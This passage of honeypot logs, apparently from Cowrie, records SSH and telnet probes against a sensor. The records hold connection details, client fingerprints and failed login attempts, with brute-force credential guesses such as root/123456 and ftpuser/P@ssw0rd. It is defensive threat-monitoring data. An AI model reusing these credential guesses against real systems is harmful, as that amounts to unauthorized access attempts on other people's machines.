cCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:17.329977Z","src_ip":"103.149.170.125","session":"68fa5c5bfe08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vinograd","message":"login attempt [root/vinograd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:18.156721Z","src_ip":"103.149.170.125","session":"68fa5c5bfe08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:19.427476Z","src_ip":"103.149.170.125","session":"68fa5c5bfe08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:21.633602Z","src_ip":"34.52.246.233","session":"b8ef11127174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab0d8a2af0c","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 0ab0d8a2af0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:25.659513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:25.666428Z","src_ip":"23.97.62.150","session":"0ab0d8a2af0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:25.910193Z","src_ip":"23.97.62.150","session":"0ab0d8a2af0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:26.636960Z","src_ip":"23.97.62.150","session":"0ab0d8a2af0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:27.880605Z","src_ip":"23.97.62.150","session":"0ab0d8a2af0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36366,"dst_ip":"159.203.135.109","dst_port":22,"session":"33902cd2c6cc","protocol":"ssh","message":"New connection: 80.66.85.226:36366 (159.203.135.109:22) [session: 33902cd2c6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:32.087428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:32.093574Z","src_ip":"80.66.85.226","session":"33902cd2c6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:32.181587Z","src_ip":"80.66.85.226","session":"33902cd2c6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzz1111","message":"login attempt [root/zzzz1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:32.446606Z","src_ip":"80.66.85.226","session":"33902cd2c6cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":58488,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b8874c113d","protocol":"ssh","message":"New connection: 81.70.224.28:58488 (159.203.135.109:22) [session: 51b8874c113d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:33.129983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:33.137673Z","src_ip":"81.70.224.28","session":"51b8874c113d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:33.363882Z","src_ip":"81.70.224.28","session":"51b8874c113d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:33.537593Z","src_ip":"80.66.85.226","session":"33902cd2c6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:37.483258Z","src_ip":"81.70.224.28","session":"51b8874c113d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:39.807596Z","src_ip":"81.70.224.28","session":"51b8874c113d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88307785987854,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:50.611029Z","src_ip":"69.4.83.194","session":"843c7039c93d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43976,"dst_ip":"159.203.135.109","dst_port":23,"session":"47e158980eed","protocol":"telnet","message":"New connection: 69.4.83.194:43976 (159.203.135.109:23) [session: 47e158980eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:52.192651Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":62330,"dst_ip":"159.203.135.109","dst_port":22,"session":"e872a2bbe353","protocol":"ssh","message":"New connection: 34.156.165.169:62330 (159.203.135.109:22) [session: e872a2bbe353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:00.615719Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:00.697129Z","src_ip":"34.156.165.169","session":"e872a2bbe353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":65203,"dst_ip":"159.203.135.109","dst_port":22,"session":"d81cfc759d2b","protocol":"ssh","message":"New connection: 223.197.186.7:65203 (159.203.135.109:22) [session: d81cfc759d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:05.549881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:05.555255Z","src_ip":"223.197.186.7","session":"d81cfc759d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:05.774609Z","src_ip":"223.197.186.7","session":"d81cfc759d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P@ssw0rd","message":"login attempt [ftpuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:06.676639Z","src_ip":"223.197.186.7","session":"d81cfc759d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49706,"dst_ip":"159.203.135.109","dst_port":23,"session":"416e7e319531","protocol":"telnet","message":"New connection: 69.4.83.194:49706 (159.203.135.109:23) [session: 416e7e319531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:07.322769Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:07.892642Z","src_ip":"223.197.186.7","session":"d81cfc759d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":19090,"dst_ip":"159.203.135.109","dst_port":22,"session":"82477cae181c","protocol":"ssh","message":"New connection: 34.156.165.169:19090 (159.203.135.109:22) [session: 82477cae181c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:09.306599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:09.343508Z","src_ip":"34.156.165.169","session":"82477cae181c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:09.446290Z","src_ip":"34.156.165.169","session":"82477cae181c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:09.453690Z","src_ip":"34.156.165.169","session":"82477cae181c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c59d10038cb8","protocol":"ssh","message":"New connection: 103.27.238.116:56408 (159.203.135.109:22) [session: c59d10038cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.351975Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35804,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f4ab43c8b0","protocol":"ssh","message":"New connection: 103.27.238.120:35804 (159.203.135.109:22) [session: 88f4ab43c8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.356296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.361648Z","src_ip":"103.27.238.116","session":"c59d10038cb8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.365417Z","src_ip":"103.27.238.120","session":"88f4ab43c8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.627831Z","src_ip":"103.27.238.116","session":"c59d10038cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:10.635376Z","src_ip":"103.27.238.120","session":"88f4ab43c8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"718293","message":"login attempt [root/718293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:11.433841Z","src_ip":"103.27.238.116","session":"c59d10038cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maddog","message":"login attempt [root/maddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:11.449227Z","src_ip":"103.27.238.120","session":"88f4ab43c8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:12.702784Z","src_ip":"103.27.238.116","session":"c59d10038cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:12.720544Z","src_ip":"103.27.238.120","session":"88f4ab43c8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":32980,"dst_ip":"159.203.135.109","dst_port":23,"session":"9652de7a3ecd","protocol":"telnet","message":"New connection: 50.62.181.92:32980 (159.203.135.109:23) [session: 9652de7a3ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:24.535121Z"}
{"eventid":"cowrie.session.closed","duration":33.30974459648132,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:25.502268Z","src_ip":"69.4.83.194","session":"47e158980eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4150,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d228327afe6","protocol":"ssh","message":"New connection: 87.251.64.176:4150 (10.17.0.5:22) [session: 1d228327afe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:28.729894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:28.734614Z","src_ip":"87.251.64.176","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s